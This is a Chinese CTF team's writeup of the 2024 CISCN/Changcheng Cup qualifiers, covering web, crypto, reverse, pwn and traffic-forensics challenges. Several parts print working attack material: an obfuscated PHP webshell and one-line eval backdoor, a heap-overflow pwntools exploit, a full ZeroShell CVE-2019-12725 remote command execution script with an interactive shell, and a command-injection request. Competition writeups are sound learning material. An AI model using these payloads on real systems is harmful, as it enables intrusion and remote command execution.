2024-CISCNx长城杯铁人三项-初赛—WriteUp

怎么说呢!!!!

全靠队友:

VV师傅:( ゜- ゜)つロ (mcat-e.github.io)

inf_师傅:https://blog.next-infinite.top/

懒逼(没搭博客-我一个鼻窦给)

WEB安全

hello_web

一直找找找

img

img

img

一直找,最后发现NAIVE证明有waf。最后双写绕过读源码

img

分析上述获取木马密码

1
2
3
4
5
<?php
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
echo($YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));

img

1
<?php @eval($_POST['cmd_66.99']); ?>

发现直接给一句话木马,直接连,然后写入一个新的马,就不用绕过waf,写入新的马

img

连上以后绕过disable_functions

img

http://eci-2ze588g48x0w8jd1yqpw.cloudeci1.ichunqiu.com:80/index.php?file=....//hackme.php

.antproxy.php

img

img

Safe_Proxy

本地搭建环境,修改代码用fenjing梭出payload

img

尝试往静态目录写flag,app和static都不好使最后索性直接写app.py了

img

img

密码学

rasnd

分析题目,发现flag被分成两部分

其中crypto1的:

p和q是1024位的随机数

x1, x2是0到2^11之间的随机数字

y1是0到2^114之间的随机数字

y2是0到2^514之间的随机数字

hint1是x1p+y1q-0x114

hint2是x2p+y2q-0x514

crypto2部分:

p和q是1024位的随机数

hint是p*514 - 114 * q,然后进行n - p - q次方,然后模n

接下来进行解题

第一部分使用了中国剩余定理(CRT),然后进行然后解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from itertools import *
from Crypto.Util.number import *
from gmpy2 import *

n1 = 22373480847624014937808089931345758289392931665686260585176948084330381701389731098071537438935643652492077887671536818643001632498955059841894448092334007508188569960181071271972342750057707332601331272427549391480457971300704934328165344159937682669655154477676358016015639834096634393079280048700224203258452654495017213247944539066173979490877636054297607382805523666694774037725687816333865686739371745484361089729139946858375135171436835903761986046553999390150403287840817226963794122253490699696546276251578630007246717421195570423395245063549196896006292283277869238375998460349320069388943287871178033489989
c1 = 7285162765362759330929807966237844498848875495478876882111669380083771529093647078268743398374574905909270834405447100466765259612848796016304349511505084455079241130943987831913519415867343030289768488426360939519850344047484594894836311156886211556212723052398392437120767328192938073232371487872956164273750063431637959432604581187308871763102378951724244344356749303121255505232725196809537585775846291127733814978309377607583250765216584741417612821581414919367417976810466177466660356270557568387307066824589930673145643583826641355411674875554075103662869840738438455820632985850486670594134073781334025214846
h1 = 289379739311657121511677076872793759451400936961412405961251828278594022885313802243734746901160807705211922433417878816491423021455415176672258692520089183182681163016417433617057400766739659525403885445686898035241313503648444797396568871756222859947364774126727424454086763524200923894680777573273822021548607691495459705451143848065010918
h2 = 1679959309565557271290899569454200488245426791871716033109334306134846093035530973270022281008170164533978187645143439141414931602902734877388927142281209022262753450079870800186003611426153583459316829588251188159065941633133800951544686220755155872702230758227653942917688997676626577274181254338793537284599391134393455102184977916280939871946834759249709707498684263137693037165406054681879477472484261171326228769362271912365455451213190383878306783464573426
q1 = h1 + 0x114
q2 = h2 + 0x514
Q = 0
H1, H2 = q1, q2
for i, j in product(range(2**12), repeat=2):
q = gcd(i * H1 - j * H2, n1)
if q != 1 and q < n1: #找非平凡的因子
Q = q
break

e = 0x10001 #解密
P = n1 // Q
phi = (P - 1) * (Q - 1)
de = invert(e, phi)
flag1 = long_to_bytes(pow(c1, de, n1))
print(flag1)
#flag{5c128012-51ca-

第二部分核心是要建立两个方程

e1 = 514 * P - 114 * Q == a:根据提示hint2的计算方式,建立第一个方程。这里假设x2为514,y2为114,这是从原始加密脚本中得出的。

e2 = P * Q == n2:建立第二个方程,表示PQ的乘积等于n2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import *
from sympy import solve

n2 = 24283441352952457332997303985393973522221743481955910925870732955890759886140929444551988456560009277422668681701274311085168328324953856816724576133815086377476992598189415239098879278209795568383347470174377042932941699747117255735553298314564289638870598408947381910253278745887767037970253231221848841698192276968266263305894319917707355314656960735160919825092847256641930980500141526322873364356345303941425500168873545573410442629146494582893445235031652307742962548684020747708206575396003254178917288499047806049169756751207607702617951231749376706385791837097346972648966721393553723328411132560048974669379
c2 = 4596598244871298277196323241107593483668010741943727792401174360077379112880554189674210949662700687122606770796754301032029872645361715482110752560999461512709532498388992977349900800576041479932752075314412511283250349953632655986126823623883739694193720773037307585303383582614428166880839236272111450290816487321711650192377258952834743598439350654980653331359296299838363657450947135762896975535193213926619322181425391318564736972972657034997559006689315623841197559815516402941594617854409282564427340107495997066046497381311038520541984852996608809518053634167865401802032307418064941713761556400132730384818
h2 = 21441991613411387053167187063267986403955928013860703659000592903508689387992179237882325797503280750039442489018149496651084965175120903829651184326219174097257010007678822845154018610966742513237056772887582888962165018120626162213301190131423048818026689706125233709392358782819084543658610746261941488845137322227318980663468457207360880569678060685655852583805347211108465851681928327644302137373384420764332328902797145440298426683875234234440266428601638649869021704670019656715679063053507760403073532232020917898749860167219009653567801644166821286215789526193207885008539044058415484216141539327783934500399

a = inverse(h2, n2)
P, Q = var('P Q')
e1 = 514 * P - 114 * Q == a
e2 = P * Q == n2

ans = solve([e1, e2], P, Q)
print(ans)

然后解密

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import long_to_bytes
from gmpy2 import *

n = 24283441352952457332997303985393973522221743481955910925870732955890759886140929444551988456560009277422668681701274311085168328324953856816724576133815086377476992598189415239098879278209795568383347470174377042932941699747117255735553298314564289638870598408947381910253278745887767037970253231221848841698192276968266263305894319917707355314656960735160919825092847256641930980500141526322873364356345303941425500168873545573410442629146494582893445235031652307742962548684020747708206575396003254178917288499047806049169756751207607702617951231749376706385791837097346972648966721393553723328411132560048974669379
c = 4596598244871298277196323241107593483668010741943727792401174360077379112880554189674210949662700687122606770796754301032029872645361715482110752560999461512709532498388992977349900800576041479932752075314412511283250349953632655986126823623883739694193720773037307585303383582614428166880839236272111450290816487321711650192377258952834743598439350654980653331359296299838363657450947135762896975535193213926619322181425391318564736972972657034997559006689315623841197559815516402941594617854409282564427340107495997066046497381311038520541984852996608809518053634167865401802032307418064941713761556400132730384818

p = 137932023671605074347444565191805631036080604600779037547479850142361615916216708983264574748093370381476774715437481583221071971140544028386416429923519975112781018895706286511756664034880706904198320529836136812244065263188582357407827294575949212400279143627716691006956136778798919780876971342784087420559
q = 176053687218912954239767210167338318985285654368062123249518707453100654845149965788769316912735380041916201677899785193637975200860372186825239085545921126738529423102200726967915202935537588046478076107019932305125860164029421066671242886151392815510203270393326564206955775314806359123231823234057058739981
d = invert(0x10001, (p - 1) * (q - 1))
m = pow (c, d, n)
print(long_to_bytes(m))
#466a-957e-89f30463f012}

逆向工程

ezCsky

用ida反编译mips

img

打开之后很明显的RC4

img

先找一下密文和密钥

img

img

提取出来正常解就行

只不过这里多了一个逆序异或正常解就好

image-20241217093513922

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include<stdio.h>

/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % Len_k];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}

/*
RC4加解密函数
unsigned char* Data 加解密的数据
unsigned long Len_D 加解密数据的长度
unsigned char* key 密钥
unsigned long Len_k 密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = ((s[i] + s[j]) % 256);
Data[k] = Data[k] ^ s[t] ;
}
}
int main()
{
// 密钥:key ='WangDingCUPKEY!!'
//密文:src=[0xC632A2F05BD9371D,0x3AA73E7E508CA730,0x1C6B85816B58C0BA,0x9742C18A7C80F54C]
//字符串密钥
unsigned char key[] = "testkey";
unsigned long key_len = sizeof(key) - 1;
//数组密钥
//unsigned char key[] = {};
//unsigned long key_len = sizeof(key);

//加解密数据
unsigned char data[] = { 0x96, 0x8F, 0xB8, 0x08, 0x5D, 0xA7, 0x68, 0x44, 0xF2, 0x64,
0x92, 0x64, 0x42, 0x7A, 0x78, 0xE6, 0xEA, 0xC2, 0x78, 0xB8,
0x63, 0x9E, 0x5B, 0x3D, 0xD9, 0x28, 0x3F, 0xC8, 0x73, 0x06,
0xEE, 0x6B, 0x8D, 0x0C, 0x4B, 0xA3, 0x23, 0xAE, 0xCA, 0x40,
0xED, 0xD1};
//加解密
rc4_crypt(data, sizeof(data), key, key_len);

for (int i = 0; i < sizeof(data); i++)
{
printf("0x%x,", data[i]);
}
printf("\n");
return 0;
}





#include <iostream>
#include <vector>

int main() {
std::vector<unsigned char> src = {
0xa, 0xd, 0x6, 0x1c, 0x1f, 0x54, 0x56, 0x53, 0x57, 0x51, 0x0, 0x3, 0x1d, 0x14, 0x58, 0x56,
0x3, 0x19, 0x1c, 0x0, 0x54, 0x3, 0x4b, 0x14, 0x58, 0x7, 0x2, 0x49, 0x4c, 0x2, 0x7, 0x1, 0x51, 0xc,
0x8, 0x0, 0x1, 0x0, 0x3, 0x0, 0x4f, 0x7d
};


for (int i = src.size() - 1; i > 0; --i) {
src[i - 1] ^= src[i];
}


for (size_t i = 0; i < src.size(); ++i) {
std::cout << static_cast<char>(src[i]);
}

return 0;
}



src=[0xa,0xd,0x6,0x1c,0x1f,0x54,0x56,0x53,0x57,0x51,0x0,0x3,0x1d,0x14,0x58,0x56,0x3,0x19,0x1c,0x0,0x54,0x3,0x4b,0x14,0x58,0x7,0x2,0x49,0x4c,0x2,0x7,0x1,0x51,0xc,0x8,0x0,0x1,0x0,0x3,0x0,0x4f,0x7d]


for i in range(len(src)-1,0,-1):
src[i-1]^=src[i]

for i in range(len(src)):
print(chr(src[i]),end='')



dump

打开之后发现有一个flag和re.exe

用010打开flag之后是密文

img

提取一下

分析一下re.exe,发现是直接运行不了的,根据题目尝试了一下,这里也是试了很久,发现它是可以对字符串进行编码的。

类似这种

img

正好对应了密文前面的几个字符串,我们把所有的可见字符串列举出来之后,进行一一比对就行了

img

然后我们就能一一对应解了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import subprocess
from string import printable
enc = ["23", "29", "1e", "24", "38",
"0e", "15", "20", "37", "0e",
"05", "20", "00", "0e", "37",
"12", "1d", "0f", "24", "01", "01", "39"]
index = 5
flag = 'flag{'
for _ in range(17):
for char in printable:

result = subprocess.run(['D:\\Astudy\\title\\国赛-2024\\re\\dump\\bin\\re.exe', flag + char], capture_output=True, text=True)

output = [result.stdout[i * 2:(i + 1) * 2] for i in range(len(result.stdout) // 2)]

if output[index] == enc[index]:
#print(f"Matched: {char} (Index: {index})")
flag += char
index += 1
break
else:
break

print(flag)

根据题目我们就可以发现我们要把0换成4

img

PWN

anote

检查一下保护机制。

1
2
3
4
5
6
7
8
llq@llq-virtual-machine:~$ checksec note
[*] '/home/llq/note'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
llq@llq-virtual-machine:~$

没有pie正好我们可以分析看见后门

把几个函数简单写一下,很明显的gift函数接收地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 def add():
rl("Choice>>")
sl(b"1")
#rl(":")
#sl(str(size))
#rl(":")
#sl(content)
def edit(idx,size,content):
rl("Choice>>")
sl("3")
rl("index:")
sl(str(idx))
rl('len: ')
sl(str(size))
rl('content: ')
sl(content)
def show(idx):
rl("Choice>>")
sl("2")
rl("index:")
sl(str(idx))
rl(b'0x')
addr=int(p.recv(7),16)
pr(hex(addr))
#pr(hex(addr))
shell= 0x80489CE

add()
add()
add()
#edit(0,11,b'aa')
#bug()
show(0)

img

然后得到了堆的地址。

然后正常打堆溢出就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import*



context(os='linux',arch='i386',log_level='debug')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')

elf=ELF('./note')
p=remote('59.110.229.57', 20817)
#p = process('./note')

def add():
p.recvuntil("Choice>>")
p.sendline(b"1")

def edit(idx,size,content):
p.recvuntil("Choice>>")
p.sendline("3")
p.recvuntil("index:")
p.sendline(str(idx))
p.recvuntil('len: ')
p.sendline(str(size))
p.recvuntil('content: ')
p.sendline(content)


def show(idx):
p.recvuntil("Choice>>")
p.sendline("2")
p.recvuntil("index:")
p.sendline(str(idx))

shell= 0x80489CE

add()
add()
add()
#edit(0,11,b'aa')
#bug()
show(0)
p.recvuntil(b'0x')
addr=int(p.recv(7),16)
print(hex(addr))
edit(0,0x28,p32(addr-40000)+p32(0)*4+p32(0x28)+p32(shell))
edit(-8,0x28,p32(addr+32))
p.interactive()

img

威胁检测与网络流量分析

Zeroshell1

查看流量,发现Referer处是base64的flag

img

解码获取flag

img

Zeroshell 2

搜索Zeroshell的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# Exploit Title: ZeroShell 3.9.0 - Remote Command Execution 
# Date: 10/05/2021
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://zeroshell.org/
# Software Link: https://zeroshell.org/download/
# Version: < 3.9.0
# Tested on: ZeroShell 3.9.0
# CVE : CVE-2019-12725

#!/usr/bin/python3

import requests
import optparse
import time

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')

options, args = parser.parse_args()
if not options.url:
print('[+] Specify an url target')
print('[+] Example usage: exploit.py -u http://target-uri/')
print('[+] Example help usage: exploit.py -h')
exit()

uri_zeroshell = options.url
session = requests.Session()

def command():
try:
check = session.get(uri_zeroshell + "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'")
if check.status_code == 200:
flag = True
print('[+] ZeroShell 3.9.0 Remote Command Execution')
time.sleep(1)
print('[+] Success connect to target')
time.sleep(1)
print('[+] Trying to execute command in ZeroShell OS...\n')
time.sleep(1)
check.raise_for_status()

while flag:
cmd = input('$ ')
payload = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A" + cmd + "%0A'"
uri_vuln = uri_zeroshell + payload
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
res = session.get(uri_vuln, headers=burp0_headers, verify=False)
print(res.text)
# print(res.text[:res.text.rindex("<html>") / 2])

except requests.exceptions.ConnectionError as err:
print('[x] Failed to Connect in: '+uri_zeroshell+' ')
print('[x] This host seems to be Down')
exit()
except requests.exceptions.HTTPError as conn:
print('[x] Failed to execute command in: '+uri_zeroshell+' ')
print('[x] This host does not appear to be a ZeroShell')
exit()

command()

使用上述开源的脚本,在/DB/_DB.001/flag文件

img

Zeroshell 3

数据包

1
2
3
4
5
6
7
8
9
10
11
GET /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Anetstat%20-antp%0A%27
Host: 61.139.2.100
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
If-None-Match: "12e9a-363-56d7136d1bb80"
If-Modified-Since: Wed, 30 May 2018 19:18:22 GMT
Connection: keep-alive

直接netstat%20-antp

直接出202.115.89.103

img

Zeroshell 4

ps看完直接找

ls -l /proc

img然后查看端口的进程

查看pid

查看文件

然后后来找啊找然后查看可执行文件,直接find可执行文件后缀

然后找到.nginx文件(ls -al /tmp)

img

Zeroshell 5

通过抓取流量,获得.nginx文件

img

获取.nginx文件后,在strings里得到key

img

Zeroshell 6

通过grep命令过滤出含有.nginx文件路径

img

img

WinFT_1

通过运行沙箱,发现有miscsecure.com域名,于是查看hosts文件,找到攻击IP

img

接着使用桌面给的工具查看端口和IP,看host也可以

img

WinFT_2

查看任务计划

img

解码获得flag

img

WinFT_5

流量中搜索hex 504b0304 找zip头拼接得到,下述压缩包

img

丢Cyberchef里解密

img

用上述密码解压得到flag

img

sc05_1

img

2024/11/09_16:22:42

最后留了一张比赛截图,记录一下算是第一次打国赛进线下!!!

再次感谢Rweb全体工作室同学以及指导老师。

image-20241216172306746